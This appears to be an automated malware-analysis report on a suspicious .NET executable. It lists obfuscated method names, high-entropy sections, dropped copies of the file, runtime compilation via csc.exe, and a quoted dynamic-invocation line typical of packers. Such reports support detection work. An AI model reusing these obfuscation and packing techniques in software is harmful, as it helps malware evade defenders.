Source: 0wdppTE7Op.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1de400

Source: 0wdppTE7Op.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.pdb source: 0wdppTE7Op.exe, 00000000.00000002.1758169301.0000000002D85000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs

.Net Code: Type.GetTypeFromHandle(JTYo3gs3EtRSYm0CWrQ.yf7DxivnoBh(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(JTYo3gs3EtRSYm0CWrQ.yf7DxivnoBh(16777245)),Type.GetTypeFromHandle(JTYo3gs3EtRSYm0CWrQ.yf7DxivnoBh(16777259))})

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9B7D00AD pushad ; iretd	0_2_00007FFD9B7D00C1
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9B9327FC push ebp; iretd	0_2_00007FFD9B9327FD
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBD0BE0 push 00000034h; ret	0_2_00007FFD9BBD0BE4
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBD0BFD pushad ; ret	0_2_00007FFD9BBD0BFF
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 48_2_00007FFD9B8000AD pushad ; iretd	48_2_00007FFD9B8000C1

Source: 0wdppTE7Op.exe	Static PE information: section name: .text entropy: 7.555073987018635
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe.0.dr	Static PE information: section name: .text entropy: 7.555073987018635
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe0.0.dr	Static PE information: section name: .text entropy: 7.555073987018635
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe1.0.dr	Static PE information: section name: .text entropy: 7.555073987018635
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe2.0.dr	Static PE information: section name: .text entropy: 7.555073987018635

Source: 0wdppTE7Op.exe, xAInHyJRBZcPRKh9Xhu.cs	High entropy of concatenated method names: 'method_0', 'h59', 'R73', 'svJJlfu7Vx', 'rnPIwKPyMvGcfX3My7qe', 'AkkBFGPyR5h63NXw69nH', 'SmV48UPyQtPQIMoRFN6w', 'EqGMnMPylg1MxSAWmwEc', 'NCq4xXPyhqXnuIX2vvie', 'Fw7QlhPyqul49bw3g7KJ'
Source: 0wdppTE7Op.exe, rX57FwLE2Z3MDgNUC5.cs	High entropy of concatenated method names: 'aoDhKJHYd', 'qAEWCKP7QPx9aVoB7HtQ', 'FDdnFwP7MfyCTEgmlStU', 'wbUWclP7RPIu0JTtBU7Y', 'hc8WBHP7lR37Aw4Nhcyv', 'Rk5Zi4nID', 'pDngQxeo4', 'SepU9yXAk', 'RK4oUfYoX', 'i7Y64v8qZ'
Source: 0wdppTE7Op.exe, WmDYJXypxfAWjwvWYCs.cs	High entropy of concatenated method names: 'tNWy4igIIG', 'e4MyZOJ1H6', 'BmTyoMJK3N', 'puPy65joOW', 'jkEySCSRFy', 'swcyFg4k9S', 'o55y8t9ddu', 'Kevy7P4Ydh', 'Dispose', 'qkpLerPNz2bL4SdbuM0I'
Source: 0wdppTE7Op.exe, G3AGGMhaTvG5nQnh6DJ.cs	High entropy of concatenated method names: 'lLeLDwPKGuTBud7ZDZ0A', 'qc8eFUPKAkMqqxZmqvly', 'piNVGSPKJp7AGVW5LQCb', 'w2NwT0PKyDI2d4loEBX0', 'ToIhASgD6A', 'Mh9', 'method_0', 'T4ThJYveLV', 'oCHhGaLWLQ', 'QDuhylPuqf'
Source: 0wdppTE7Op.exe, AKb67DDa1Gyo2wwTwTm.cs	High entropy of concatenated method names: 'mXWcVOKb2g', 'GtT1fXPHsYehypjRLifV', 'U74OCMPH02cCNS8psKM3', 'UhrDQ9PHzAYAkZKuTqGR', 'LewoerPTWAPuUYhcJnqH', 'cInuxTPHNlpmiBnt84oP', 'paiY2sPHnQwUxUdTx8Z2', 'CtZwFcPTP5Afv02ahyZL', 'De3KNqPTDLaDmRlSgfV1', 'IurcWme0OE'
Source: 0wdppTE7Op.exe, yuZSBUH0vkfExw9c4mS.cs	High entropy of concatenated method names: 'zjOTW8Poia', 'InyTPDaGBo', 'MiiTDRMeqs', 'ECCTcRvMxr', 'oYjTuw2O9F', 'EUFTx36GII', 'VAbViyP1agX6ALWgYGo8', 'XKinJ3P1KKbBjnvk4I7A', 'QSUOnLP1AIY2K6Q1SKPU', 'PNB2DrP1JDkWpP1bIA9h'
Source: 0wdppTE7Op.exe, rrAtmHU4wGNUJQsX9dJ.cs	High entropy of concatenated method names: 'JI99yKP56V2jTSyTPZ6K', 'h45eh2P5SGd45NQ8NIO5', 'UwArWaP5UmrGwPaXfOI7', 'XQHhAIP5oYqiCVb6X61D', 'method_0', 'method_1', 'tb4ULc6bhB', 'a6bUOlw27s', 'teqUZByj5S', 'VgAUgwNhMQ'
Source: 0wdppTE7Op.exe, CEQriqi65ovqWEA1dyS.cs	High entropy of concatenated method names: 'y6ZZp735KG', 'UHhZ3DphyJ', 'HYDiCgPwv3PWyg3Tou9O', 'kXGASSPwm9EiQBRMHrUC', 'gJv8a5Pw1C2NlWDNON51', 'rgN2MvPwt8peH1X22o26', 'ltneBRPwaf8KM7y0cj6K', 'XZbZZwQ0Ax', 'RYpDQrPwGOpiJ0kh4sHx', 'dT25loPwAQaVtWqUVpY2'
Source: 0wdppTE7Op.exe, kwUDCUP0GBtbsn6yjUA.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'pCuP9PaHw1G', 'v1mPuP2qv15', 'i67CjAPEsSsS1Cw25pGW', 'yCVSf8PE0qBP0xUnt7E4', 'I5qlYDPEzpbN4vQf2Kt4', 'FeuixvPHW1di6YsACHWm'
Source: 0wdppTE7Op.exe, qK6obhTRqUbNllu7edD.cs	High entropy of concatenated method names: 'DB4', 'method_0', 'method_1', 'method_2', 'method_3', 'method_4', 'method_5', 'A47', 'fC4', 'aK3'
Source: 0wdppTE7Op.exe, UITfMGZBh1bN4cMi7bO.cs	High entropy of concatenated method names: 'uKiZmE99VN', 'TkeZ1FROvd', 'Ht1ZvAN9UH', 'Hc7fttPCLNErWftwZEhR', 'g4xD0ePCOuNBhWKnFWuS', 'LX7QqqPC4TxmoEArYj6w', 'TgGVNTPCdrqCmjbUiAiU', 'tGjZCAZNhm', 'sH4ZIKsdvN', 'v8NZ5o3SF5'
Source: 0wdppTE7Op.exe, Jjbq7Ug3n4roRYEYB8M.cs	High entropy of concatenated method names: 'KaUggL4l5i', 'j34tr3PCzGtNJv3Hw5BF', 'fjo0mePIWgIZSpQk4GSU', 'fNLG62PCscfpqdU760cI', 'm39NQhPC0Ijewc5lg1Ri', 'aZwEMuPIPyf3olLy8yLH', 'YFLg4bwwti', 'NoKmupPCKXn4G906th2x', 'sVnmaVPCAD6A442XHMQh', 'nOO6HGPCJy7DqqmUkYpt'
Source: 0wdppTE7Op.exe, FJykxX7fNJgMMwkHl8V.cs	High entropy of concatenated method names: 'NjS7pJwDHx', 'XGw73bNLrT', 'EwN7iH7SER', 'FIy74TgyoT', 'zov7dY5o7P', 'BRDQaUPmfXLnsC6VXFne', 'uIGqT3PmXwl1u8Se8K7E', 'YH3P0ZPm2Uw7Q2P0t5SL', 'k7TdgFPmbDU1O5YXmrI0', 'AgcE3yPmpEgsZUXrhFfn'
Source: 0wdppTE7Op.exe, W9YRyhVXxeCCDMhUgFo.cs	High entropy of concatenated method names: 'p9rVf7gTFY', 'b2CVbOpteO', 'wFdX9qPlO5ouvjT1vhbB', 'EihOObPlZY3CdPTDIWpb', 'VVDm4JPlg7xaUEh0AdDa', 'IHQJwePlURoIEcU55oRM', 'bA3Vc6PlorBaFWxd6UrY', 'C7MhwgPl6lVZ4wD8JRK0', 'XYHW9WPlSthGl8j0KTZP'
Source: 0wdppTE7Op.exe, Sr8wcvcamwEVi0dbCDW.cs	High entropy of concatenated method names: 'D1Kuc6EC23', 'oWcuuslSIL', 'rLFuxnYoW1', 'bawclRPM2LsyK6Gg70uT', 'fy5sm8PMf1qLHNvnTBjQ', 'BHu6QDPM9LvwvWAc0C1B', 'BkistaPMXVvcGZoErKtt', 'lWtufdAWkw', 'AsPe1kPMiyRD0OnCujHq', 'nfvo5LPMpq1XXqRWFsrg'
Source: 0wdppTE7Op.exe, kUqFrIBR7xe5NcFn75x.cs	High entropy of concatenated method names: 'pxCBlDDr0M', 'vwdBhbxIIt', 'FgxBqbLnHp', 'z6eBjoaTpI', 'zkpBrKSQ5g', 'QuABBImNtK', 'NgGBwDc7kG', 'HVvBCAcHu7', 'yl0BI5TtyD', 'W3lB53q8m3'
Source: 0wdppTE7Op.exe, Pq7ZUqZJIPZDRRR5iha.cs	High entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'JH9P9p8i3OY', 'VfiPum6MUh9', 'UfT8OjPCEkMnpPgtsWlm', 'KoePOyPCHmdd9qXca3x2', 'pBTGxjPCTtq1GVtKp5Hp', 'N4KsNZPCMikqAAbZbhaQ', 'XoBHWFPCRyDOxfyoNiJy'
Source: 0wdppTE7Op.exe, MwOpatzHMpC8v8x1Hi.cs	High entropy of concatenated method names: 'v4XPPJrZjY', 'qc2Pc1aYRI', 'D4OPu3usRf', 'RcFPxLVBvB', 'OTAPYR1PBe', 'uoTPV0PDPs', 'EhOPXQHIMB', 'O9BLg2PEVosy6jUg8VbI', 'tgEdelPE9uE6pxjbPW9c', 'zOZF4vPEXY5V83g97F4m'
Source: 0wdppTE7Op.exe, TBXVpgDRPljtN161lPj.cs	High entropy of concatenated method names: 'mNkDIUBIfL', 'h9rD52cUQm', 'J8wL0BPHhWijg8yOLi26', 'r1DLpkPHqBFUEfDSXyl8', 'P0FGMMPHj4Ca10Bl4koZ', 'uNrD1MuY31', 'O0JRgGPHCNlU7jbNe8Qi', 'Bt6COdPHIyyeJ9FhcLeE', 'FBBKfZPHBByLsPdCI83L', 'M6tlfhPHwN3BO5nwMnJm'
Source: 0wdppTE7Op.exe, c4jnlExXKt9NpgKYudL.cs	High entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'f72P9x9VNQJ', 'v1mPuP2qv15', 'sMSjrDPR6omAYBAlMgtC', 'phDynrPRSox5a4Ue2e3q', 'N9FgPiPRFtGtnY560IJS', 'fS6Zj9PR8kD3yc1NEoas'
Source: 0wdppTE7Op.exe, ceDH5gVZjr0Vyh4Clbg.cs	High entropy of concatenated method names: 'ua1VHJmt9o', 'awYt3dPlmxx7NbWJyTHW', 'qkdQQoPl1BWxSX4kKNLa', 'ia2Sa2Ple2xawvZmqMbZ', 'lyyHl2Plklt02XaMjUI0', 'guM7jFPlvQOTi5WTAqo7', 'EsbUw9PltYyMOLobGFon', 'udvVUFikaU', 'aiAVoxIgck', 'fuYV6vrUJm'
Source: 0wdppTE7Op.exe, bEOkuOSK1m9ZX3Ubjoh.cs	High entropy of concatenated method names: 'qsuSJ5XkEU', 'UHsSG8km9y', 'pY1SyWsQCB', 'JInSN1Rv7i', 'utkSnCIV5m', 'f6axJVPeKKUIt5E1SHTH', 'FUPM7SPetECn5Rhv0V1O', 'rFt76mPeaZiRBuQOMG4p', 'PKQHphPeAoGRungLrMQU', 'bRhflsPeJrfotvGc4cYU'
Source: 0wdppTE7Op.exe, Q6d3nUxKdFyGmsGKooV.cs	High entropy of concatenated method names: 'SlPxnFbWZa', 'B9fxsYy2Cd', 'xnJx00Get4', 'dsWxzSiyON', 'fV0YWVxvoq', 'd3dYPL3S3X', 'rd6YDPmxR9', 'Em9tMWPQZWpFU22LvIg9', 'wtdKYfPQgBPgLidwAsx8', 'FkirauPQUdWc9gf3P69X'
Source: 0wdppTE7Op.exe, J5YxxwBXlGJhPmnIpIa.cs	High entropy of concatenated method names: 'xSfBFjVDt4', 'ciqXfFPJPp7O7dH4ITKm', 'vSLwphPJDp3a6Bp3vaaD', 'gjKiwNPAzeq9BOXGwWwl', 'EMDZr3PJWgHEEbTLa1H3', 'LGvRSsPJcKuv4tHGUcbU', 'IPy', 'method_0', 'method_1', 'method_2'
Source: 0wdppTE7Op.exe, jpRBEuu83tpMZMuBkWv.cs	High entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'dj9P9cGcDdF', 'v1mPuP2qv15', 'uk8Dm7PMRhgXslatSPwm', 'wymk4oPMQEEPjAPirffA', 'RdOpStPMl1J6vAX1yMvr'
Source: 0wdppTE7Op.exe, klGmS9XDnnOPlt0YH7t.cs	High entropy of concatenated method names: 'v5gXuRcKJw', 'WLXXxjAM5r', 'ssqXYXrCK1', 'WoSXVBn1Fs', 'ARvX9dX6TX', 'qr2XX47gYs', 'sVpX2u4erp', 'xUnXf8JFhb', 'TilXbQg0Eh', 'HBFXpfW5XN'
Source: 0wdppTE7Op.exe, hi49ZkZHyVcKy5xC20g.cs	High entropy of concatenated method names: 'T9CZjWGtMN', 'M3j7nIPC9LlECCbNMn7L', 'a3ohUPPCYhLsumqyIXAd', 'QM4WJEPCVkbYjEAUlWos', 'gClOLSPCXTqOrWcKfHNi', 'G75ZMgHwFN', 'GeyZRmIKiM', 'JQoZQcEfZd', 'yMVmyxPCcQpb3WirHJwu', 'QNIv8ePCPxG8yxTitO2l'
Source: 0wdppTE7Op.exe, tnMc6ExhWwMsJBZhT1g.cs	High entropy of concatenated method names: 'l29', 'P9X', 'vmethod_0', 'ghuPufstR0B', 'jlLxj1InNi', 'imethod_0', 'AF1mafPRtWVw6kgQMASI', 'nyeJsqPRajxfsg5J6eDt', 'OVOsmDPRKAYJtLG28doR', 'kNFqcvPRAeOZcPbBF8Y1'
Source: 0wdppTE7Op.exe, UxLfwryRUT25UHri12W.cs	High entropy of concatenated method names: 'eRIyl0GpDT', 'SdKyhlCMM7', 'rE5yqYCNk8', 'Dy5yjipXTG', 'Dispose', 'cc0eF0PnVYYYBDomobCg', 'uR5f8rPnxbkh0WA0mY1G', 'MoxojMPnYrAB6KJu2NK7', 'SWdy0rPn9JhojAgLCdwi', 'eqEL0vPnXZyfcrKfH5S7'
Source: 0wdppTE7Op.exe, ADgRUVYFShJiySNNkVy.cs	High entropy of concatenated method names: 'dvRYRIdNdx', 'AbJKEAPQvua1ZUrvQOOM', 'vL8y4GPQmcVcyyEu12MI', 'edbe0pPQ1VkKVVp4SDuN', 'jbdYrBPQtvym4TDFL6iH', 'E94', 'P9X', 'vmethod_0', 'UU7PugY3Tis', 'IsdP9Xldikw'
Source: 0wdppTE7Op.exe, OjBVfABk6I547wsXYmd.cs	High entropy of concatenated method names: 'ne1P9FBsXTR', 'Gi8B14WFEE', 'HZqBvTu57k', 'OAqBtRgPbN', 'YED8sEPJ3JIs8GYe7fS0', 'vwFCYRPJijeqIxYQxAHd', 'L2E8uYPJ4rbiMhvxvFXf', 'ELcVgnPJdPfRRWAfvQwB', 'PDcGpqPJLYaZdXLgc24E', 'WhGDRmPJOVQ8wMjhj6U5'
Source: 0wdppTE7Op.exe, VhvOSgCqhIplZHGZLHO.cs	High entropy of concatenated method names: 'LMFKDYPGIRPHWM4YuEjt', 'wM74UjPG5O0EO02tjFHB', 'KWuJ6aPGwdbxWgRlCshI', 'f1iD58PGCKa9FUGexigY', 'Lud4esPGqpdHXqiQaU5l', 'rMJIEFPGj3BsWig64usl', 'RCnFHaPGrbi0qewqHZli', 'gMNbrMPGlb2IyBgFXALf', 'PKypVuPGhNbsGB2WkT1q'
Source: 0wdppTE7Op.exe, qEwH1popFyqnxdC2lEr.cs	High entropy of concatenated method names: 'DDBSPHCDFs', 'bMSZm5PeTRd7gA9AhN6J', 'sJTa3nPeEukribQUQjgw', 'ismuPBPeHFG3I1TZ6HW5', 'hhIoir1X6V', 'iVWo4dY9R5', 'FR0odVBAC3', 'RTZoL9UDZr', 'gUIoO0AWq1', 'zwHoZWVwgh'
Source: 0wdppTE7Op.exe, X9rZEfiZ9fYFd4T5EiK.cs	High entropy of concatenated method names: 'smethod_0', 'NJOIriPBD2axjw53JY2b', 'MW1KYCPBcpZZgKVq6E22', 'FrwlwrPBuOIALsxaR7Ql', 'pcbG9NPBxlpUPT2fqXJy', 'oJ9HKLPBWmeTWVFNUbre', 'D8iDFmPBPFbQUlYYgwSm'
Source: 0wdppTE7Op.exe, HWo45pgtR5WaNebLQxF.cs	High entropy of concatenated method names: 'bkdP9d5ic1B', 'qfmgKC6LQj', 'lefP9LmNle1', 'MXNE8rPIRkWNIm4O154k', 'yYcgooPITqjlrcn9ZiRK', 'TqJscBPIM2wsxH7XtZYM', 'Ys6XXFPIQ2tVmPkLQy50', 'iJIYvHPIla3jcX2DLt5i', 'tR7i0jPIhhrnq6XcAsk2', 'EK1eVYPIqPZZnwgAGoXa'
Source: 0wdppTE7Op.exe, iGOWOBwR8gvgjEcIEjQ.cs	High entropy of concatenated method names: 'htywlFQCmE', 'GDbwh51pkV', 'e5owqcwbFC', 'hUawjHbwXm', 'RQ7wr6Rect', 'O56wBu9SQi', 'HuLwwaIB9j', 'zRRwCjalfv', 'Up1wI30cYE', 'wjJw5bOeoJ'
Source: 0wdppTE7Op.exe, xtGcWngefRdUJ78vrWY.cs	High entropy of concatenated method names: 'E8cgmODJw0', 'e24g1IaRml', 'sENgvXv3uV', 'aNCuKnPISG46fHK9yunZ', 'jpUakSPIFm9O7KpcZYgJ', 'DtuOkJPI87oIDvsWENQe', 'ydVCUnPI7enxDb2bJamr', 'xJTBDIPIEbEnlT8giOMN'
Source: 0wdppTE7Op.exe, rh2LwGUfv6rIaTcpNTV.cs	High entropy of concatenated method names: 'Rrr', 'y1x', 'hXLP9oP11oa', 'YmOP96SPNuF', 'oUf8H3PIzNQWkfIjWAgC', 'NDnL8oP5WDIg4NyOihGO', 'nHuZiRP5PWCsLpUF5rof', 'MkGLZjP5DYlqXDnf1UQu', 'maBmsjP5cyl6DZBJAGYH', 'yN14AeP5utIfMu6Tb7Ai'
Source: 0wdppTE7Op.exe, P2JcBM9d8c00Sk5TppT.cs	High entropy of concatenated method names: 'rQf9gHeYrE', 'OlLrsWPhBqr5ADnHEF2k', 'mPUQKSPhj1CIgG6jPjSy', 'zEELBkPhrBTw4lamtH2v', 'DwMcrAPhw6PSUndlJ6mo', 'NiA9OgKnNx', 'fsRHF3PhRybmyY7PIVo5', 'oJ2sp7PhQvMj7JLswhre', 'guDWiSPhlmOclcGCDGcS', 'QvyhS9PhTeEOjCeT2EG8'
Source: 0wdppTE7Op.exe, lej0suswkKNrDTBF6cK.cs	High entropy of concatenated method names: 'zT9PYQ8TIMN', 'wvhPYlEc32W', 'OvFPYhtZi80', 'LlRPYqI959x', 'xBoPYjThJAV', 'P4EPYrFamU7', 'NTjPYBSw0EC', 'Q1Z0xENSMb', 'TvmPYwD4MTX', 'WFfPYCaE7E0'
Source: 0wdppTE7Op.exe, cy63seUPZhThSNAPfsU.cs	High entropy of concatenated method names: 'rC9', 'method_0', 'SZsP9ZyZ1pn', 'hAEP9gQIukq', 'cd3wxmPIkKjVWJvbOkFQ', 'mAgx3nPIm06NSnYgCx6N', 'nJKRv6PI1vtrvp3heKHD', 'm6jB4TPIvwZ5CbFDtyn3', 'gZA02EPItp7msHyxv0UA', 'D3kwJGPIabaJrTHK8FHX'
Source: 0wdppTE7Op.exe, jCbODSEIp5xT4eAApux.cs	High entropy of concatenated method names: 'UXUEsbVHCm', 'ssuEzndKn0', 'ryDEempZnO', 'DIREkkl5o0', 'K5iEmUdxcF', 'ugjE17wc4d', 'wl4Ev9xpE2', 'r4WEtxYV4J', 'HmREa7vg9g', 'Hg9EKft9Es'
Source: 0wdppTE7Op.exe, QIVOvoUxO8UKxxwpeB2.cs	High entropy of concatenated method names: 'method_0', 'method_1', 'K47', 'yaZUVBo1Wd', 'vmethod_0', 'UUcU9rwjp4', 'LjcP9UlD9jd', 'M39jsJPIyrxVyP6qaQre', 'IujyqbPIJE5cLCjvfc9P', 'M86D4TPIGqHibb6FCILW'
Source: 0wdppTE7Op.exe, k5a2oj9EPP6V3mES186.cs	High entropy of concatenated method names: 'pkr9Tsa9Ot', 'wbm9MlRCLY', 'zCc9RN0amH', 'cdg9QXq2ve', 'UjI9lKmGMK', 'TsJ9h6WT6m', 'VBb9w0PhyWg85Q7uH9ry', 'uqNoOKPhNPBBKt2CE8fB', 'prUu9gPhnbn1YKlTjjcp', 'rNhu1jPhsBV22X6nREBs'
Source: 0wdppTE7Op.exe, NH7piSx4XrAmIXJtrp1.cs	High entropy of concatenated method names: 'FmBxEOCykB', 'Q15xHM4WX7', 'aSFxTkJu6D', 'GPu02ZPRmBBbEKmeSBo7', 'oMwGLiPRegJQ18cIBbVX', 'mR5HRePRko3csSIUdns7', 'oq0C7cPR1MTSLixq0pcB', 'jGJxSGOWuE', 'OhxxF4baNe', 'xHSIQmPRCvLqmEBdOb2N'
Source: 0wdppTE7Op.exe, pmdsu8NWrjZCKwsbMHp.cs	High entropy of concatenated method names: 'vC1NuJ1mcZ', 'hAHNxpqISO', 'sc2ExePnRH92s2qYk5nR', 'tIDkSUPnT4Bv3AZCUrvg', 'WRoFM3PnMCUCSNl37AaZ', 'G6EMOCPnQ3JsV4hIp7W6', 'IydETmPnld0BkQQTQDAy', 'x7fND5615Z', 'ai8Ze1Pn7J3kK3Ua6K53', 'YTlT52PnEpBNp9nIsqHa'
Source: 0wdppTE7Op.exe, Ry5UPtS2kuWKhoel8t7.cs	High entropy of concatenated method names: 'CBjSRNfFNo', 'g3eSbUUsfB', 'XHsSpdJfkY', 'vg2S3IdMXZ', 'fcPSiqnFdS', 'VJRS4H9cY7', 'g4NSd9Y4LD', 'oTbSLlsbni', 'lgMSOTc4pC', 'XpTSZtYX41'
Source: 0wdppTE7Op.exe, CBjAW4wN7hf75CBvP7O.cs	High entropy of concatenated method names: 'IEbwsEEa5A', 'nlZw0jfo4a', 'timwzxnhmx', 'Tm9CWdK4yd', 'OMeCP2X1t8', 'WoOCDuktt1', 'VI1CctlOvB', 'O4GCuFOf2t', 'uQFCx4vi4K', 'YxZCYsAehD'
Source: 0wdppTE7Op.exe, buHIj4laZDvDyYYfnKp.cs	High entropy of concatenated method names: 'VpolALLi6q', 'k6r', 'ueK', 'QH3', 'dXslJD03Ze', 'Flush', 'TTylGgl0NW', 'oRblynXbKT', 'Write', 'w13lNGeGRP'
Source: 0wdppTE7Op.exe, SSDJEkXSWdmASbRLrBB.cs	High entropy of concatenated method names: 'GgW7rwPrqy0K9ISZdAbs', 'NB3P9KPrjc90DRyvk1IS', 'tC130pEXL4', 'a2lOi0PrCEeQ5SCWIhXO', 'kcqOMkPrBYZgW2vunYIU', 'xFkyx6Prw8JsZxrLoD98', 'abMwMCPrIX1htGWeDOdb', 'XLtiP4eXTj', 'u4Dy2HPrmTsU90KJtQ04', 'oATOqqPre64ZkSgXaI7q'
Source: 0wdppTE7Op.exe, t56VOtDx8pCNb9GI56Z.cs	High entropy of concatenated method names: 'JZXDVrrC7V', 'sE9D92rmj1', 'fI4DXTn7ED', 'oJwD2K6Ifn', 'wTuMJ1PHfrewkv0Twdfm', 'tdfjImPHXDvVak9LkTeI', 'H547fjPH26hE1mwXQGrj', 'Y2JGQLPHbn22H8YACRhg', 'T7EannPHpYblNaEXW1G6', 'eR4AqXPH37tXr5Tms7lr'
Source: 0wdppTE7Op.exe, Vs0nANTCUwHhitNiiXT.cs	High entropy of concatenated method names: 'YR9T5qMNyS', 'wnRTe5poyj', 'lLFTk8PC4U', 'xyRTmGlHLP', 'DrXT1HXQEQ', 'cDyTvyJv8l', 'LtBTtkJYJX', 'NWPTaI3biT', 'FAlTKbsDRX', 'pJNTAIPYwc'
Source: 0wdppTE7Op.exe, h38Sf792UpPnm6jbPAl.cs	High entropy of concatenated method names: 'K0u9bD786t', 'w5U9pUUAy9', 'co5933plke', 'G4wkO5Ph6YC9qOVf5eFY', 'BsCEeHPhSkDG0r7lgkCr', 'MBUqNYPhUU0g9wPbcp2S', 'PHR4kgPho2iYvdy8RtDl', 'L0PFGWPhFKsd2sjwIkCQ', 'Ly0jRRPh8v5wAZ1SPryK', 'YyI6GIPh70KKX7AccZgI'
Source: 0wdppTE7Op.exe, YYxIUExw46ZONNcGJpE.cs	High entropy of concatenated method names: 'q64', 'P9X', 'VCiPu3mRUDQ', 'vmethod_0', 'vjtP9YvHKne', 'imethod_0', 'CDdfa8PRnwd6361m3bR0', 'v0t25oPRsmgSfqM3FWn3', 'RCHMf0PR0JX9W9uAHh5G', 'jehc1APRzXZXBW4Z3P1j'
Source: 0wdppTE7Op.exe, Di9bo2JrVhsg2ye37kt.cs	High entropy of concatenated method names: 'mQYP97csdlm', 'EpvPY8CqGA7', 'rIl4ClPyzaVKYCdUlA9N', 'JOtQe8PyssSfdvQtPOrb', 'QMPZikPy0qvARUhbJ7yU', 'gSAPTKPNcaCcAVJQOZQO', 'jAXE1vPNPO8aQhqoG91c', 'F0h9jMPNDSf3VNfMLRim', 'imethod_0', 'EpvPY8CqGA7'
Source: 0wdppTE7Op.exe, k5IRVBDgk3yEQtH5k4D.cs	High entropy of concatenated method names: 'ojiDoIuu4P', 'n8iD6P3ODm', 'KbmMWEPHFKVnr3N32yAp', 'jlUW6xPH6I4dtNBnmZOw', 'tr1otWPHS5pqBG5jjkGr', 'RAxktOPH8KbCwlDmv1HY', 'Bea8mTPH7iYTDPIOLJkQ', 'htMNMXPHEC4N0c3VIEgZ'
Source: 0wdppTE7Op.exe, buPjOTEc0daAFeVk5Q1.cs	High entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'GMEExLTZSA', 'Write', 'sbREYRpg13', 'ramEVJaTiw', 'Flush', 'vl7'
Source: 0wdppTE7Op.exe, e2Maot9oQWx0LhoihIE.cs	High entropy of concatenated method names: 'by79SEBYQa', 'MvtXKZPheb0sLUxE3WOP', 'Wuk5tePhk3YA3MjurcEr', 'f5f8oRPhmgHI5DeNpCxe', 'zEdgA3Ph1D84AYZRFann', 'GKLdCAPhIZTPiAWnIoFx', 'Wrqo3mPh55nYmIOOhlsQ', 'fEwcvvPhvQw9vbCNRiS6'
Source: 0wdppTE7Op.exe, wqr8ya9m9nXglEGvuKj.cs	High entropy of concatenated method names: 'P9r9ybOFQh', 'Y2NpbYPqbl9XQMNZCkmf', 'yPXxSoPqpfPjuN6MGJix', 'IgAwxWPq3l1QrCEhRy3X', 'u0nBCAPqibZmJEi63QS3', 'P9X', 'vmethod_0', 'iGFPuEpidsw', 'imethod_0', 'PJfjuZPqXlckwtWZ9AsD'
Source: 0wdppTE7Op.exe, UAcaKljqBEEEbqB9jY2.cs	High entropy of concatenated method names: 'Dispose', 'MoveNext', 'get_Current', 'Reset', 'get_Current', 'GetEnumerator', 'GetEnumerator', 'q4r3VnPAZibJCVZbc0aM', 'KXSMcxPALsQndC49GRYV', 'HeFvOmPAOnp403SIZyLl'
Source: 0wdppTE7Op.exe, JE371uVILKBSWp7xk7n.cs	High entropy of concatenated method names: 'HdRVycPMpj', 'PFSVN5Iu8g', 'Ca5GAYPhfZ7kuBgtuvVV', 'Gbo7FXPhXFU9qAlVS2K3', 'em5fs9Ph2y1opHTsi0O0', 'wBimLUPhb0UlQqREtUfi', 'H7cVercEsY', 'bgUVkCjcQZ', 'UpDVm4MnYk', 'kN4V1cnTRA'
Source: 0wdppTE7Op.exe, cdu10eHmGUnw7xmNUN9.cs	High entropy of concatenated method names: 'ILXHvhoEjE', 'OwpHtmKK4v', 'pZmHa9JBZm', 'wfQjf7P1jih8J3BNBgLj', 'CPos1UP1hdvmAO655uAe', 'fVH0OUP1qXTEKdPf3FBx', 'klIfo6P1r01jTXsG0O4C', 'wtM0KgP1BJwd615LmJj0', 'Y5qRcBP1wcMgbXpC7Z4u'
Source: 0wdppTE7Op.exe, Lkd9FNxeFJFPXCULkGL.cs	High entropy of concatenated method names: 'lFBxtxiRYg', 'wAwsK3PQ2qVeTETGjjf2', 'M8Ra9tPQfisk3YTSuN2M', 'wn7MIhPQbZnIHwFiata2', 'ro1UhWPQpOmcZoyWgHWf', 'U1J', 'P9X', 'FNyPu4ItZcW', 'NBSPudWB6Rr', 'uowP9Vnxhu0'
Source: 0wdppTE7Op.exe, RLCouF7Rs993lnSp4Ny.cs	High entropy of concatenated method names: 'method_0', 'iKh7lyMLPK', 'gjJ7huiufx', 'Ero7q7L24U', 'vDp7j4YIdh', 'QOj7rg3A17', 'RqU7BQbTfS', 'OLhMQLPmZc1Vbc8i6idA', 'psR89cPmg1tCVeL8Vskc', 'KQLKfcPmUL3oKNPn0J0p'
